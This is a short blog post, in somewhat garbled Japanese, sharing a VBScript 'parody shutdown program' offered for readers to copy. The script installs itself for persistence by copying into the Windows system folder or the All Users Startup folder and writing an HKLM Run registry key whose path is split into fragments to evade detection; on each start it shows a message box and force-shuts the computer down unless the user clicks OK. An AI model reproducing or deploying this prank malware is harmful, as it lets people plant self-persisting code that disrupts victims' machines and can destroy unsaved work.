vb下のパロディシャットダウンプログラム

1932 ワード

ええ、あまり紹介しないで、読めるものは持って行って、分からないものは持って行っても始まらない.
 
  
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
 else
c.Copy(dirwin&"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox (" : ! " & Chr(13) & Chr(10) & " -> " & Chr(10) & " -> , !", 4145, "MsgBox Example")
If r = 1 Then 
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if 
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

はい、コードはみんなに分かち合って、勝手に破壊しないでください!